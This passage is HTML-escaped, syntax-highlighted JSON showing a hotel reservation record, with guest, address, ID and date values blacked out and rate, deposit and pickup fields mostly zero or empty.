&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;INVOICE_EMAIL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PCAT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;███&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOCUMENT_EXPEDITIONDATE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GUEST_TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SEX&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;██&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;OBJID&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;███████&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;COMMENT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_PARAMETERS_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DEPOSIT_AMOUNT3&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CENTRAL_RESERVATION_ID&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;MOBIL2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DEPOSIT_AMOUNT1&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;T_CALC_COMMISSION&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DISABLE_DEPOSIT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;N&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;MOBIL1&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DEPOSIT_AMOUNT2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NOPAX&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PERS_ADDRESS&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;OUTPUTCOUNTER&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CANCELLATION_POLICY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GDSNO&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;MATCHCODE_SM&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PO_BOX&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ALLOTMENT_NO&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;LAST_MOD_RU&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2025-██-██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;STREET&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█████████ ██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NAME2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;A_USERFIELD_LIST&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;RES_HOTEL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;███&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;COMMISSION&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;TOTAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PC&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SID&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;LAST_MOD_BY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;███&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NN2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CITY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;INSURANCETYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;FIDELITYLIST&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_STREET_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CREATION_TIME&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;███████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_COUNTRY_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GUEST_OBJID&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;█████████&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTADULTS_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_TIME_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DISCOUNT_GROUP&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NATION&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOCUMENT_EXPEDITIONCOUNTRY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;APERS_TYPE_LIST&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PERS_TYPE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NO&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;COUNTRY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;███&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_PARAMETERS_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;MEDIA&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SALES_CATEGORY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CREATED_BY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;███&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;MARKETCODE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;███&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;IS_LOCKED&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;N&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PRICE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;99&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTCHILDSEATS_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CREATION_DATE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2024-██-██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CENTRALGUEST_ID&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;████████████&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;MATCHCODE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ASSIGNED_TO&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;FIDELITYORDERERLIST&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;INTERNET_PWD&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_CITY_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NAME&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█████████ █████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTADULTS_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CAT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;███&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;POINTS_LIST&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ADDRESS&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NN&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;OPTIONUNTIL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NAME1X&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTBAGGAGE_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOCUMENT_EXPIREDATE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ISOVERBOOKED&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;N&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;RATE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CURRENCY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;EUR&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;R&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;UF&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ISDEFAULT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Y&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PRICE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;99&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;QUANTITY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GUEST_RATE_TYPES&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GUEST_RATE_TYPE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GUEST_RATE_TYPE_DESC&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;All rate filters&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GUEST_RATE_TYPE_KEY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;████████████&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;RATE_SEGMENT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ISPACKAGE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Y&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PRICE_CUR&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;99&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      },
